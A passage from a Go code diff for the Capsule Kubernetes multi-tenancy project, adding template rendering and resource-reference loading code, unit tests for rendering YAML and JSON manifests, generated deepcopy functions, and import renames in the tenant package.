    +	return
    +}
    +
    +// Templates itself with the option to populate tenant fields.
    +func (t *TemplateContext) selfTemplate(
    +	data map[string]any,
    +) (err error) {
    +	dataBytes, err := json.Marshal(t)
    +	if err != nil {
    +		return fmt.Errorf("error marshaling TemplateContext: %w", err)
    +	}
    +
    +	if err := json.Unmarshal(dataBytes, &data); err != nil {
    +		return fmt.Errorf("error unmarshaling TemplateContext into map: %w", err)
    +	}
    +
    +	tmpl, err := template.New("tpl").Option("missingkey=error").Funcs(ExtraFuncMap()).Parse(string(dataBytes))
    +	if err != nil {
    +		return fmt.Errorf("error parsing template: %w", err)
    +	}
    +
    +	var rendered bytes.Buffer
    +	if err := tmpl.Execute(&rendered, data); err != nil {
    +		return fmt.Errorf("error executing template: %w", err)
    +	}
    +
    +	tplContext := &TemplateContext{}
    +	if err := json.Unmarshal(rendered.Bytes(), tplContext); err != nil {
    +		return fmt.Errorf("error unmarshaling JSON into TemplateContext: %w", err)
    +	}
    +
    +	// Reassing templated context
    +	*t = *tplContext
    +
    +	return nil
    +}
    +
    +// +kubebuilder:object:generate=false
    +type ReferenceContext map[string]any
    +
    +func (t *ReferenceContext) String() (string, error) {
    +	dataBytes, err := json.Marshal(t)
    +	if err != nil {
    +		return "", fmt.Errorf("error marshaling TemplateContext: %w", err)
    +	}
    +
    +	if err := json.Unmarshal(dataBytes, t); err != nil {
    +		return "", fmt.Errorf("error unmarshaling TemplateContext into map: %w", err)
    +	}
    +
    +	return string(dataBytes), nil
    +}
    
  • pkg/template/reference.go+222 0 added
    @@ -0,0 +1,222 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +package template
    +
    +import (
    +	"context"
    +	"fmt"
    +
    +	apierrors "k8s.io/apimachinery/pkg/api/errors"
    +	k8smeta "k8s.io/apimachinery/pkg/api/meta"
    +	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    +	"k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"
    +	"k8s.io/apimachinery/pkg/labels"
    +	"k8s.io/apimachinery/pkg/runtime/schema"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +
    +	"github.com/projectcapsule/capsule/pkg/api/meta"
    +	"github.com/projectcapsule/capsule/pkg/runtime/selectors"
    +)
    +
    +// Reference
    +// +kubebuilder:object:generate=true
    +type ResourceReference struct {
    +	// Kind of the referent.
    +	// More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
    +	Kind string `json:"kind" protobuf:"bytes,1,opt,name=kind"`
    +	// API version of the referent.
    +	APIVersion string `json:"apiVersion" protobuf:"bytes,5,opt,name=apiVersion"`
    +	// Name of the values referent. This is useful
    +	// when you traying to get a specific resource
    +	// +kubebuilder:validation:MinLength=1
    +	// +kubebuilder:validation:MaxLength=253
    +	// +optional
    +	Name string `json:"name,omitempty"`
    +	// Namespace of the values referent.
    +	// +optional
    +	Namespace meta.RFC1123SubdomainName `json:"namespace,omitempty"`
    +	// Selector which allows to get any amount of these resources based on labels
    +	// +optional
    +	Selector *metav1.LabelSelector `json:"selector,omitempty"`
    +	// Only relevant if name is set. If an item is not optional, there will be an error thrown when it does not exist
    +	// +kubebuilder:default:=true
    +	Optional bool `json:"optional,omitempty"`
    +}
    +
    +func (t ResourceReference) RequiresTemplating() bool {
    +	if RequiresFastTemplate(t.Name) {
    +		return true
    +	}
    +
    +	if RequiresFastTemplate(string(t.Namespace)) {
    +		return true
    +	}
    +
    +	if SelectorRequiresTemplating(t.Selector) {
    +		return true
    +	}
    +
    +	return false
    +}
    +
    +func (t ResourceReference) LoadTemplated(templateContext map[string]string) (ResourceReference, error) {
    +	if !t.RequiresTemplating() || templateContext == nil {
    +		return t, nil
    +	}
    +
    +	out := t
    +
    +	// Name + Namespace
    +	if out.Name != "" {
    +		out.Name = FastTemplate(out.Name, templateContext)
    +	}
    +
    +	if out.Namespace != "" {
    +		out.Namespace = meta.RFC1123SubdomainName(
    +			FastTemplate(string(out.Namespace), templateContext),
    +		)
    +	}
    +
    +	// Selector
    +	if out.Selector != nil {
    +		selCopy, err := FastTemplateLabelSelector(out.Selector, templateContext)
    +		if err != nil {
    +			return ResourceReference{}, err
    +		}
    +
    +		out.Selector = selCopy
    +	}
    +
    +	return out, nil
    +}
    +
    +func (t ResourceReference) LoadResources(
    +	ctx context.Context,
    +	kubeClient client.Client,
    +	restMapper k8smeta.RESTMapper,
    +	namespace string,
    +	additionSelectors []labels.Selector,
    +	templateContext map[string]string,
    +	allowClusterScoped bool,
    +) ([]*unstructured.Unstructured, error) {
    +	isNamespaced, err := t.IsNamespacedGVK(restMapper)
    +	if err != nil {
    +		return nil, err
    +	}
    +
    +	if !allowClusterScoped && !isNamespaced {
    +		return nil, fmt.Errorf("cluster-scoped kind %s/%s is not allowed", t.APIVersion, t.Kind)
    +	}
    +
    +	ref, err := t.LoadTemplated(templateContext)
    +	if err != nil {
    +		return nil, err
    +	}
    +
    +	return ref.loadResources(ctx, kubeClient, restMapper, namespace, additionSelectors)
    +}
    +
    +func (t ResourceReference) IsNamespacedGVK(
    +	restMapper k8smeta.RESTMapper,
    +) (bool, error) {
    +	gv, err := schema.ParseGroupVersion(t.APIVersion)
    +	if err != nil {
    +		return false, fmt.Errorf("invalid apiVersion %q: %w", t.APIVersion, err)
    +	}
    +
    +	gvk := gv.WithKind(t.Kind)
    +
    +	mapping, err := restMapper.RESTMapping(gvk.GroupKind(), gvk.Version)
    +	if err != nil {
    +		return false, fmt.Errorf("failed to resolve GVK %s: %w", gvk.String(), err)
    +	}
    +
    +	isNamespaced := mapping.Scope.Name() == k8smeta.RESTScopeNameNamespace
    +
    +	return isNamespaced, nil
    +}
    +
    +func (t ResourceReference) loadResources(
    +	ctx context.Context,
    +	kubeClient client.Client,
    +	restMapper k8smeta.RESTMapper,
    +	namespace string,
    +	additionSelectors []labels.Selector,
    +) ([]*unstructured.Unstructured, error) {
    +	ns := t.Namespace
    +
    +	if namespace != "" {
    +		ns = meta.RFC1123SubdomainName(namespace)
    +	}
    +
    +	// GET path (single object)
    +	if t.Name != "" {
    +		obj := &unstructured.Unstructured{}
    +		obj.SetAPIVersion(t.APIVersion)
    +		obj.SetKind(t.Kind)
    +
    +		key := client.ObjectKey{
    +			Name:      t.Name,
    +			Namespace: string(ns),
    +		}
    +
    +		if err := kubeClient.Get(ctx, key, obj); err != nil {
    +			if apierrors.IsNotFound(err) && t.Optional {
    +				return nil, nil
    +			}
    +
    +			return nil, fmt.Errorf("failed to get %s/%s: %w", t.Kind, t.Name, err)
    +		}
    +
    +		return []*unstructured.Unstructured{obj}, nil
    +	}
    +
    +	list := &unstructured.UnstructuredList{}
    +	list.SetAPIVersion(t.APIVersion)
    +	list.SetKind(t.Kind + "List")
    +
    +	var opts []client.ListOption
    +	if ns != "" {
    +		opts = append(opts, client.InNamespace(string(ns)))
    +	}
    +
    +	// Convert t.Selector (metav1) to labels.Selector if present
    +	var tenantSel labels.Selector
    +
    +	if t.Selector != nil {
    +		s, err := metav1.LabelSelectorAsSelector(t.Selector)
    +		if err != nil {
    +			return nil, fmt.Errorf("invalid label selector: %w", err)
    +		}
    +
    +		tenantSel = s
    +	}
    +
    +	all := make([]labels.Selector, 0, len(additionSelectors)+1)
    +
    +	for _, s := range additionSelectors {
    +		if s != nil {
    +			all = append(all, s)
    +		}
    +	}
    +
    +	if tenantSel != nil {
    +		all = append(all, tenantSel)
    +	}
    +
    +	if len(all) > 0 {
    +		combined := selectors.CombineSelectors(all...)
    +		opts = append(opts, client.MatchingLabelsSelector{Selector: combined})
    +	}
    +
    +	if err := kubeClient.List(ctx, list, opts...); err != nil {
    +		return nil, fmt.Errorf("failed to list %s: %w", t.Kind, err)
    +	}
    +
    +	results := make([]*unstructured.Unstructured, 0, len(list.Items))
    +	for i := range list.Items {
    +		results = append(results, list.Items[i].DeepCopy())
    +	}
    +
    +	return results, nil
    +}
    
  • pkg/template/types.go+17 0 added
    @@ -0,0 +1,17 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package template
    +
    +// +kubebuilder:validation:Enum=default;zero;error
    +type MissingKeyOption string
    +
    +func (p MissingKeyOption) String() string {
    +	return string(p)
    +}
    +
    +const (
    +	MissingKeyDefault MissingKeyOption = "default"
    +	MissingKeyZero    MissingKeyOption = "zero"
    +	MissingKeyError   MissingKeyOption = "error"
    +)
    
  • pkg/template/unstructured.go+61 0 added
    @@ -0,0 +1,61 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package template
    +
    +import (
    +	"bytes"
    +	"errors"
    +	"fmt"
    +	"io"
    +	"text/template"
    +
    +	"k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"
    +	kyaml "k8s.io/apimachinery/pkg/util/yaml"
    +)
    +
    +// RenderUnstructuredItems attempts to render a given string template into a list of unstructured resources.
    +func RenderUnstructuredItems(
    +	context ReferenceContext,
    +	key MissingKeyOption,
    +	tplString string,
    +) (items []*unstructured.Unstructured, err error) {
    +	tmpl, err := template.New("tpl").Option("missingkey=" + key.String()).Funcs(ExtraFuncMap()).Parse(tplString)
    +	if err != nil {
    +		return
    +	}
    +
    +	var rendered bytes.Buffer
    +	if err = tmpl.Execute(&rendered, context); err != nil {
    +		return
    +	}
    +
    +	dec := kyaml.NewYAMLOrJSONDecoder(bytes.NewReader(rendered.Bytes()), 4096)
    +
    +	var out []*unstructured.Unstructured
    +
    +	for {
    +		var obj map[string]any
    +		if err := dec.Decode(&obj); err != nil {
    +			if errors.Is(err, io.EOF) {
    +				break
    +			}
    +
    +			// Skip pure whitespace/--- separators that decode to nil/empty.
    +			return nil, fmt.Errorf("decode yaml: %w", err)
    +		}
    +
    +		if len(obj) == 0 {
    +			continue
    +		}
    +
    +		u := &unstructured.Unstructured{Object: obj}
    +		if u.GetAPIVersion() == "" && u.GetKind() == "" {
    +			continue
    +		}
    +
    +		out = append(out, u)
    +	}
    +
    +	return out, nil
    +}
    
  • pkg/template/unstructured_test.go+435 0 added
    @@ -0,0 +1,435 @@
    +// Copyright 2020-2025 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package template_test
    +
    +import (
    +	"strings"
    +	"testing"
    +
    +	"github.com/projectcapsule/capsule/pkg/template"
    +	"k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"
    +)
    +
    +// Adjust these if your MissingKeyOption constants are named differently.
    +var (
    +	missingKeyErr  = template.MissingKeyOption("error")
    +	missingKeyZero = template.MissingKeyOption("zero")
    +)
    +
    +func mustOne(t *testing.T, items []*unstructured.Unstructured) *unstructured.Unstructured {
    +	t.Helper()
    +	if len(items) != 1 {
    +		t.Fatalf("expected 1 item, got %d", len(items))
    +	}
    +	return items[0]
    +}
    +
    +func TestRenderUnstructuredItems_SingleYAMLDocument(t *testing.T) {
    +	ctx := template.ReferenceContext{"name": "cm-1"}
    +
    +	tpl := `
    +apiVersion: v1
    +kind: ConfigMap
    +metadata:
    +  name: {{ .name }}
    +data:
    +  x: y
    +`
    +	items, err := template.RenderUnstructuredItems(ctx, missingKeyErr, tpl)
    +	if err != nil {
    +		t.Fatalf("expected no error, got: %v", err)
    +	}
    +
    +	u := mustOne(t, items)
    +	if u.GetAPIVersion() != "v1" {
    +		t.Fatalf("expected apiVersion=v1, got %q", u.GetAPIVersion())
    +	}
    +	if u.GetKind() != "ConfigMap" {
    +		t.Fatalf("expected kind=ConfigMap, got %q", u.GetKind())
    +	}
    +	if u.GetName() != "cm-1" {
    +		t.Fatalf("expected name=cm-1, got %q", u.GetName())
    +	}
    +}
    +
    +func TestRenderUnstructuredItems_MultiDoc_SkipsEmptyWhitespaceAndNullDocs(t *testing.T) {
    +	tpl := `
    +---
    +apiVersion: v1
    +kind: Namespace
    +metadata:
    +  name: ns-1
    +---
    +# empty doc
    +---
    +# whitespace doc
    +
    +---
    +null
    +---
    +apiVersion: v1
    +kind: ConfigMap
    +metadata:
    +  name: cm-2
    +`
    +	items, err := template.RenderUnstructuredItems(template.ReferenceContext{}, missingKeyErr, tpl)
    +	if err != nil {
    +		t.Fatalf("expected no error, got: %v", err)
    +	}
    +	if len(items) != 2 {
    +		t.Fatalf("expected 2 items, got %d", len(items))
    +	}
    +	if items[0].GetKind() != "Namespace" || items[0].GetName() != "ns-1" {
    +		t.Fatalf("unexpected first object: kind=%q name=%q", items[0].GetKind(), items[0].GetName())
    +	}
    +	if items[1].GetKind() != "ConfigMap" || items[1].GetName() != "cm-2" {
    +		t.Fatalf("unexpected second object: kind=%q name=%q", items[1].GetKind(), items[1].GetName())
    +	}
    +}
    +
    +func TestRenderUnstructuredItems_SkipsObjectMissingBothKindAndAPIVersion(t *testing.T) {
    +	tpl := `
    +metadata:
    +  name: skipped
    +---
    +apiVersion: v1
    +kind: ConfigMap
    +metadata:
    +  name: kept
    +`
    +	items, err := template.RenderUnstructuredItems(template.ReferenceContext{}, missingKeyErr, tpl)
    +	if err != nil {
    +		t.Fatalf("expected no error, got: %v", err)
    +	}
    +	if len(items) != 1 {
    +		t.Fatalf("expected 1 item, got %d", len(items))
    +	}
    +	if items[0].GetName() != "kept" {
    +		t.Fatalf("expected kept object, got name=%q", items[0].GetName())
    +	}
    +}
    +
    +func TestRenderUnstructuredItems_DoesNotSkipIfOnlyOneOfKindOrAPIVersionPresent(t *testing.T) {
    +	tpl := `
    +apiVersion: v1
    +metadata:
    +  name: only-apiversion
    +---
    +kind: ConfigMap
    +metadata:
    +  name: only-kind
    +`
    +	items, err := template.RenderUnstructuredItems(template.ReferenceContext{}, missingKeyErr, tpl)
    +	if err != nil {
    +		t.Fatalf("expected no error, got: %v", err)
    +	}
    +	if len(items) != 2 {
    +		t.Fatalf("expected 2 items, got %d", len(items))
    +	}
    +	if items[0].GetAPIVersion() != "v1" || items[0].GetName() != "only-apiversion" {
    +		t.Fatalf("unexpected first object: apiVersion=%q name=%q", items[0].GetAPIVersion(), items[0].GetName())
    +	}
    +	if items[1].GetKind() != "ConfigMap" || items[1].GetName() != "only-kind" {
    +		t.Fatalf("unexpected second object: kind=%q name=%q", items[1].GetKind(), items[1].GetName())
    +	}
    +}
    +
    +func TestRenderUnstructuredItems_JSONDocument(t *testing.T) {
    +	tpl := `{"apiVersion":"v1","kind":"ConfigMap","metadata":{"name":"cm-json"}}`
    +
    +	items, err := template.RenderUnstructuredItems(template.ReferenceContext{}, missingKeyErr, tpl)
    +	if err != nil {
    +		t.Fatalf("expected no error, got: %v", err)
    +	}
    +	u := mustOne(t, items)
    +	if u.GetKind() != "ConfigMap" || u.GetName() != "cm-json" {
    +		t.Fatalf("unexpected object: kind=%q name=%q", u.GetKind(), u.GetName())
    +	}
    +}
    +
    +func TestRenderUnstructuredItems_TemplateParseError(t *testing.T) {
    +	tpl := `
    +apiVersion: v1
    +kind: ConfigMap
    +metadata:
    +  name: {{ .name
    +`
    +	_, err := template.RenderUnstructuredItems(template.ReferenceContext{"name": "x"}, missingKeyErr, tpl)
    +	if err == nil {
    +		t.Fatalf("expected parse error, got nil")
    +	}
    +}
    +
    +func TestRenderUnstructuredItems_MissingKey_ErrorMode(t *testing.T) {
    +	tpl := `
    +apiVersion: v1
    +kind: ConfigMap
    +metadata:
    +  name: {{ .doesNotExist }}
    +`
    +	_, err := template.RenderUnstructuredItems(template.ReferenceContext{}, missingKeyErr, tpl)
    +	if err == nil {
    +		t.Fatalf("expected execute error for missing key, got nil")
    +	}
    +}
    +
    +func TestRenderUnstructuredItems_MissingKey_ZeroMode_AllowsRender(t *testing.T) {
    +	tpl := `
    +apiVersion: v1
    +kind: ConfigMap
    +metadata:
    +  name: {{ .doesNotExist }}
    +`
    +	items, err := template.RenderUnstructuredItems(template.ReferenceContext{}, missingKeyZero, tpl)
    +	if err != nil {
    +		t.Fatalf("expected no error, got: %v", err)
    +	}
    +	u := mustOne(t, items)
    +	if u.GetKind() != "ConfigMap" {
    +		t.Fatalf("expected kind=ConfigMap, got %q", u.GetKind())
    +	}
    +}
    +
    +func TestRenderUnstructuredItems_MalformedYAML_ReturnsDecodeError(t *testing.T) {
    +	tpl := `
    +apiVersion: v1
    +kind: ConfigMap
    +metadata:
    +  name: cm
    +data:
    +  a: b
    +   c: d
    +`
    +	_, err := template.RenderUnstructuredItems(template.ReferenceContext{}, missingKeyErr, tpl)
    +	if err == nil {
    +		t.Fatalf("expected decode error, got nil")
    +	}
    +	if !strings.Contains(err.Error(), "decode yaml") {
    +		t.Fatalf("expected error to contain %q, got: %v", "decode yaml", err)
    +	}
    +}
    +
    +func TestRenderUnstructuredItems_SequenceRoot_IsError(t *testing.T) {
    +	tpl := `
    +- apiVersion: v1
    +  kind: ConfigMap
    +  metadata:
    +    name: cm
    +`
    +	_, err := template.RenderUnstructuredItems(template.ReferenceContext{}, missingKeyErr, tpl)
    +	if err == nil {
    +		t.Fatalf("expected decode error for sequence root, got nil")
    +	}
    +	if !strings.Contains(err.Error(), "decode yaml") {
    +		t.Fatalf("expected error to contain %q, got: %v", "decode yaml", err)
    +	}
    +}
    +
    +func TestRenderUnstructuredItems_ScalarRoot_IsError(t *testing.T) {
    +	tpl := `just-a-string`
    +	_, err := template.RenderUnstructuredItems(template.ReferenceContext{}, missingKeyErr, tpl)
    +	if err == nil {
    +		t.Fatalf("expected decode error for scalar root, got nil")
    +	}
    +	if !strings.Contains(err.Error(), "decode yaml") {
    +		t.Fatalf("expected error to contain %q, got: %v", "decode yaml", err)
    +	}
    +}
    +
    +func TestRenderUnstructuredItems_WhitespaceOnly_IsError(t *testing.T) {
    +	tpl := "\n   \n\t\n"
    +	_, err := template.RenderUnstructuredItems(template.ReferenceContext{}, missingKeyErr, tpl)
    +	if err == nil {
    +		t.Fatalf("expected decode error for scalar root, got nil")
    +	}
    +	if !strings.Contains(err.Error(), "decode yaml") {
    +		t.Fatalf("expected error to contain %q, got: %v", "decode yaml", err)
    +	}
    +}
    +
    +func TestRenderUnstructuredItems_ContextNestedTypes_RenderOK(t *testing.T) {
    +	ctx := template.ReferenceContext{
    +		"outer": map[string]any{
    +			"inner": "v",
    +		},
    +		"list": []any{"a", "b"},
    +	}
    +
    +	tpl := `
    +apiVersion: v1
    +kind: ConfigMap
    +metadata:
    +  name: cm-{{ index .list 0 }}
    +data:
    +  x: {{ .outer.inner }}
    +`
    +
    +	items, err := template.RenderUnstructuredItems(ctx, missingKeyErr, tpl)
    +	if err != nil {
    +		t.Fatalf("expected no error, got: %v", err)
    +	}
    +
    +	u := mustOne(t, items)
    +	if u.GetName() != "cm-a" {
    +		t.Fatalf("expected name=cm-a, got %q", u.GetName())
    +	}
    +}
    +
    +func TestReferenceContext_String_MarshalUnmarshalRoundTrip(t *testing.T) {
    +	ctx := template.ReferenceContext{
    +		"a": "b",
    +		"n": 1,
    +		"m": map[string]any{"x": "y"},
    +	}
    +
    +	s, err := ctx.String()
    +	if err != nil {
    +		t.Fatalf("expected no error, got: %v", err)
    +	}
    +	if !strings.Contains(s, `"a":"b"`) {
    +		t.Fatalf("expected JSON to contain %q, got %q", `"a":"b"`, s)
    +	}
    +}
    +
    +func TestRenderUnstructuredItems_MultiYAML_AllValid(t *testing.T) {
    +	ctx := template.ReferenceContext{"ns": "ns-1"}
    +
    +	tpl := `
    +apiVersion: v1
    +kind: Namespace
    +metadata:
    +  name: {{ .ns }}
    +---
    +apiVersion: v1
    +kind: ConfigMap
    +metadata:
    +  name: cm-1
    +  namespace: {{ .ns }}
    +data:
    +  k: v
    +---
    +apiVersion: v1
    +kind: Secret
    +metadata:
    +  name: s-1
    +  namespace: {{ .ns }}
    +type: Opaque
    +stringData:
    +  a: b
    +`
    +	items, err := template.RenderUnstructuredItems(ctx, missingKeyErr, tpl)
    +	if err != nil {
    +		t.Fatalf("expected no error, got: %v", err)
    +	}
    +	if len(items) != 3 {
    +		t.Fatalf("expected 3 items, got %d", len(items))
    +	}
    +
    +	if items[0].GetKind() != "Namespace" || items[0].GetName() != "ns-1" {
    +		t.Fatalf("unexpected item0: kind=%q name=%q", items[0].GetKind(), items[0].GetName())
    +	}
    +	if items[1].GetKind() != "ConfigMap" || items[1].GetName() != "cm-1" || items[1].GetNamespace() != "ns-1" {
    +		t.Fatalf("unexpected item1: kind=%q name=%q ns=%q", items[1].GetKind(), items[1].GetName(), items[1].GetNamespace())
    +	}
    +	if items[2].GetKind() != "Secret" || items[2].GetName() != "s-1" || items[2].GetNamespace() != "ns-1" {
    +		t.Fatalf("unexpected item2: kind=%q name=%q ns=%q", items[2].GetKind(), items[2].GetName(), items[2].GetNamespace())
    +	}
    +}
    +
    +func TestRenderUnstructuredItems_MultiJSON_NewlineDelimited(t *testing.T) {
    +	// YAMLOrJSONDecoder supports multiple JSON objects if separated in the stream (e.g. NDJSON).
    +	tpl := `
    +{"apiVersion":"v1","kind":"ConfigMap","metadata":{"name":"cm-a"}}
    +{"apiVersion":"v1","kind":"ConfigMap","metadata":{"name":"cm-b"}}
    +{"apiVersion":"v1","kind":"Namespace","metadata":{"name":"ns-c"}}
    +`
    +	items, err := template.RenderUnstructuredItems(template.ReferenceContext{}, missingKeyErr, tpl)
    +	if err != nil {
    +		t.Fatalf("expected no error, got: %v", err)
    +	}
    +	if len(items) != 3 {
    +		t.Fatalf("expected 3 items, got %d", len(items))
    +	}
    +
    +	if items[0].GetName() != "cm-a" || items[0].GetKind() != "ConfigMap" {
    +		t.Fatalf("unexpected item0: kind=%q name=%q", items[0].GetKind(), items[0].GetName())
    +	}
    +	if items[1].GetName() != "cm-b" || items[1].GetKind() != "ConfigMap" {
    +		t.Fatalf("unexpected item1: kind=%q name=%q", items[1].GetKind(), items[1].GetName())
    +	}
    +	if items[2].GetName() != "ns-c" || items[2].GetKind() != "Namespace" {
    +		t.Fatalf("unexpected item2: kind=%q name=%q", items[2].GetKind(), items[2].GetName())
    +	}
    +}
    +
    +func TestRenderUnstructuredItems_MixedYAMLAndJSON_AllValid(t *testing.T) {
    +	// Decoder supports YAML and JSON in same stream.
    +	tpl := `
    +apiVersion: v1
    +kind: Namespace
    +metadata:
    +  name: ns-1
    +---
    +{"apiVersion":"v1","kind":"ConfigMap","metadata":{"name":"cm-1","namespace":"ns-1"}}
    +---
    +apiVersion: v1
    +kind: Secret
    +metadata:
    +  name: s-1
    +  namespace: ns-1
    +type: Opaque
    +stringData:
    +  a: b
    +`
    +	items, err := template.RenderUnstructuredItems(template.ReferenceContext{}, missingKeyErr, tpl)
    +	if err != nil {
    +		t.Fatalf("expected no error, got: %v", err)
    +	}
    +	if len(items) != 3 {
    +		t.Fatalf("expected 3 items, got %d", len(items))
    +	}
    +
    +	if items[0].GetKind() != "Namespace" || items[0].GetName() != "ns-1" {
    +		t.Fatalf("unexpected item0: kind=%q name=%q", items[0].GetKind(), items[0].GetName())
    +	}
    +	if items[1].GetKind() != "ConfigMap" || items[1].GetName() != "cm-1" || items[1].GetNamespace() != "ns-1" {
    +		t.Fatalf("unexpected item1: kind=%q name=%q ns=%q", items[1].GetKind(), items[1].GetName(), items[1].GetNamespace())
    +	}
    +	if items[2].GetKind() != "Secret" || items[2].GetName() != "s-1" || items[2].GetNamespace() != "ns-1" {
    +		t.Fatalf("unexpected item2: kind=%q name=%q ns=%q", items[2].GetKind(), items[2].GetName(), items[2].GetNamespace())
    +	}
    +}
    +
    +func TestRenderUnstructuredItems_MultiDocs_EmptyMapAndNullAreSkipped(t *testing.T) {
    +	tpl := `
    +{}
    +---
    +null
    +---
    +apiVersion: v1
    +kind: ConfigMap
    +metadata:
    +  name: cm-1
    +---
    +{} # another empty doc
    +---
    +apiVersion: v1
    +kind: Namespace
    +metadata:
    +  name: ns-1
    +`
    +	items, err := template.RenderUnstructuredItems(template.ReferenceContext{}, missingKeyErr, tpl)
    +	if err != nil {
    +		t.Fatalf("expected no error, got: %v", err)
    +	}
    +	if len(items) != 2 {
    +		t.Fatalf("expected 2 items, got %d", len(items))
    +	}
    +	if items[0].GetKind() != "ConfigMap" || items[0].GetName() != "cm-1" {
    +		t.Fatalf("unexpected item0: kind=%q name=%q", items[0].GetKind(), items[0].GetName())
    +	}
    +	if items[1].GetKind() != "Namespace" || items[1].GetName() != "ns-1" {
    +		t.Fatalf("unexpected item1: kind=%q name=%q", items[1].GetKind(), items[1].GetName())
    +	}
    +}
    
  • pkg/template/zz_generated.deepcopy.go+74 0 added
    @@ -0,0 +1,74 @@
    +//go:build !ignore_autogenerated
    +
    +// Copyright 2020-2023 Project Capsule Authors.
    +// SPDX-License-Identifier: Apache-2.0
    +
    +// Code generated by controller-gen. DO NOT EDIT.
    +
    +package template
    +
    +import (
    +	"k8s.io/apimachinery/pkg/apis/meta/v1"
    +)
    +
    +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
    +func (in *ResourceReference) DeepCopyInto(out *ResourceReference) {
    +	*out = *in
    +	if in.Selector != nil {
    +		in, out := &in.Selector, &out.Selector
    +		*out = new(v1.LabelSelector)
    +		(*in).DeepCopyInto(*out)
    +	}
    +}
    +
    +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new ResourceReference.
    +func (in *ResourceReference) DeepCopy() *ResourceReference {
    +	if in == nil {
    +		return nil
    +	}
    +	out := new(ResourceReference)
    +	in.DeepCopyInto(out)
    +	return out
    +}
    +
    +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
    +func (in *TemplateContext) DeepCopyInto(out *TemplateContext) {
    +	*out = *in
    +	if in.Resources != nil {
    +		in, out := &in.Resources, &out.Resources
    +		*out = make([]*TemplateResourceReference, len(*in))
    +		for i := range *in {
    +			if (*in)[i] != nil {
    +				in, out := &(*in)[i], &(*out)[i]
    +				*out = new(TemplateResourceReference)
    +				(*in).DeepCopyInto(*out)
    +			}
    +		}
    +	}
    +}
    +
    +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new TemplateContext.
    +func (in *TemplateContext) DeepCopy() *TemplateContext {
    +	if in == nil {
    +		return nil
    +	}
    +	out := new(TemplateContext)
    +	in.DeepCopyInto(out)
    +	return out
    +}
    +
    +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
    +func (in *TemplateResourceReference) DeepCopyInto(out *TemplateResourceReference) {
    +	*out = *in
    +	in.ResourceReference.DeepCopyInto(&out.ResourceReference)
    +}
    +
    +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new TemplateResourceReference.
    +func (in *TemplateResourceReference) DeepCopy() *TemplateResourceReference {
    +	if in == nil {
    +		return nil
    +	}
    +	out := new(TemplateResourceReference)
    +	in.DeepCopyInto(out)
    +	return out
    +}
    
  • pkg/tenant/get_by.go+2 2 renamed
    @@ -18,8 +18,8 @@ import (
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
     	"github.com/projectcapsule/capsule/pkg/api/meta"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    -	"github.com/projectcapsule/capsule/pkg/utils/users"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	"github.com/projectcapsule/capsule/pkg/users"
     )
     
     func TenantByStatusNamespace(
    
  • pkg/tenant/metadata_test.go+2 2 renamed
    @@ -1,4 +1,4 @@
    -// Copyright 2020-2025 Project Capsule Authors
    +// Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
     package tenant_test
    @@ -13,7 +13,7 @@ import (
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
     	"github.com/projectcapsule/capsule/pkg/api"
     	"github.com/projectcapsule/capsule/pkg/api/meta"
    -	tenant "github.com/projectcapsule/capsule/pkg/utils/tenant"
    +	tenant "github.com/projectcapsule/capsule/pkg/tenant"
     )
     
     // Helpers
    
  • pkg/tenant/metdata.go+6 3 renamed
    @@ -11,7 +11,7 @@ import (
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
     	"github.com/projectcapsule/capsule/pkg/api/meta"
    -	"github.com/projectcapsule/capsule/pkg/template"
    +	tpl "github.com/projectcapsule/capsule/pkg/template"
     	"github.com/projectcapsule/capsule/pkg/utils"
     )
     
    @@ -46,6 +46,8 @@ func BuildNamespaceMetadataForTenant(ns *corev1.Namespace, tnt *capsulev1beta2.T
     	annotations = BuildNamespaceAnnotationsForTenant(tnt)
     	labels = BuildNamespaceLabelsForTenant(tnt)
     
    +	fastContext := ContextForTenantAndNamespace(tnt, ns)
    +
     	if opts := tnt.Spec.NamespaceOptions; opts != nil && len(opts.AdditionalMetadataList) > 0 {
     		for _, md := range opts.AdditionalMetadataList {
     			var ok bool
    @@ -59,8 +61,8 @@ func BuildNamespaceMetadataForTenant(ns *corev1.Namespace, tnt *capsulev1beta2.T
     				continue
     			}
     
    -			tLabels := template.TemplateForTenantAndNamespaceMap(md.Labels, tnt, ns)
    -			tAnnotations := template.TemplateForTenantAndNamespaceMap(md.Annotations, tnt, ns)
    +			tLabels := tpl.FastTemplateMap(md.Labels, fastContext)
    +			tAnnotations := tpl.FastTemplateMap(md.Annotations, fastContext)
     
     			utils.MapMergeNoOverrite(labels, tLabels)
     			utils.MapMergeNoOverrite(annotations, tAnnotations)
    @@ -104,6 +106,7 @@ func BuildNamespaceAnnotationsForTenant(tnt *capsulev1beta2.Tenant) map[string]s
     		}
     	}
     
    +	//nolint:staticcheck
     	if cr := tnt.Spec.ContainerRegistries; cr != nil {
     		if len(cr.Exact) > 0 {
     			annotations[meta.AllowedRegistriesAnnotation] = strings.Join(cr.Exact, ",")
    
  • pkg/tenant/owned.go+2 2 renamed
    @@ -11,8 +11,8 @@ import (
     	"sigs.k8s.io/controller-runtime/pkg/client"
     
